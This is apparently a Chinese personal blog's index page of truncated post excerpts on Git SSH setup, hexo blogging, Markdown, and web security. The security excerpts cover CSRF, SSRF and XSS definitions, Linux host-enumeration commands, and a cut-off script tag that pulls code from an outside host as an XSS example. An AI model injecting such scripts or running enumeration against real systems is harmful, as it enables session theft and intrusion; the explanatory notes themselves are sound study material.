Posted on 周二 19 一月 2016 in misc
Git的使用技巧:
Linux
$ ssh-keygen -t rsa -C "mail@gmail.com"
//这的密码不是我们，GitHub的密码，而是Git SSH的密码
//保存SSH密码
$ eval "$(ssh-agent -s)" //Linux
$ ssh-agent -s //Windows
$ ssh-add ~/.ssh/id_rsa
//打开Git生成的密码文件，将其复制到GitHub上
$ vim ~/.ssh/id_rsa.pub
//验证GitHub SSH是否成功
$ ssh -T git@github.com …Posted on 周日 27 十二月 2015 in misc
来到GitHub这么长时间，才开始真真的了解GitHub，这个国外的代码托管平台，充满着大牛的身影。 国内也有不多少的代码托管平台，本文将就用GitHub的GitHub Pages 功能来搭建，我的个性博客，最近在学习JS后端Node.js, 现在火的不行, 异步IO的机制, 所以在学习过程中发现了hexo是由Node.js驱动的一款快速、简单且功能强大的博客框架。 比起WordPress，hexo的搭建更加简洁，配合上markdown的使用，更加便捷的管理自己的学习文档。
- 为什么选择GitHub Pages 1、GitHub Pages有免费的代码托管空间，资料自己管理，保存可靠； 2、学着用 GitHub，享受 GitHub 的便利，上面有很多大牛，眼界会开阔很多； 3 …
Posted on 周四 24 十二月 2015 in misc
自用笔记：本文属于自用笔记，不做详解，仅供参考。在此记录自己已理解并开始遵循的前端代码规范。What How Why
Markdown语法：
# 一级标题
## 二级标题
### 三级标题
#### 四级标题
##### 五级标题
###### 六级标题
大标题
=
小标题
-
预览效果：
Markdown语法：
**粗体**
__粗体__
*斜体*
_斜体_
预览效果：
粗体 粗体 斜体 斜体 …
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：oneclick attack/session riding，缩写为：CSRF/XSRF。
攻击者盗用了你的身份，以你的名义发送恶意请求，如：发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账等
要完成一次CSRF攻击，受害者必须依次完成两个步骤：
1.登录受信任网站A，并在本地生成Cookie。
2.在不登出A的情况下，访问危险网站B。
看到这里，你也许会说：“如果我不满足以上两个条件中的一个，我就不会受到CSRF的攻击”。是的，确实如此，但你不能保证以下情况不会发生：
1.你不能保证你登录了一个网站后，不再打开一个tab页面并访问另外的网站。
2.你不能保证你关闭浏览器了后，你本地的Cookie立刻过期，你上次的会话已经结束。（事实上，关闭浏览器不能结束一个会话，但大多数人都会错误的认为关闭浏览器就等于退出登录 …
Posted on 周五 27 二月 2015 in misc • Tagged with Google Hacking
struts2 漏洞 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
java反序列化漏洞 https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0
• cat /etc/issue
• cat /etc/*-release
• cat /etc/lsb-release
• cat /etc/redhat-release
*CentOS Linux release 7.0.1406 (Core)
• cat /proc/version
• uname -a
• uname -mrs
• rpm …利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击（Server-side Request Forgery）
web应用提供了从其他的服务器上获取数据的功能且没有对目标URL做过滤和限制。如：获取图片，下载文件，读取文件内容等
跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。
<script src='http://b.ioio.pub …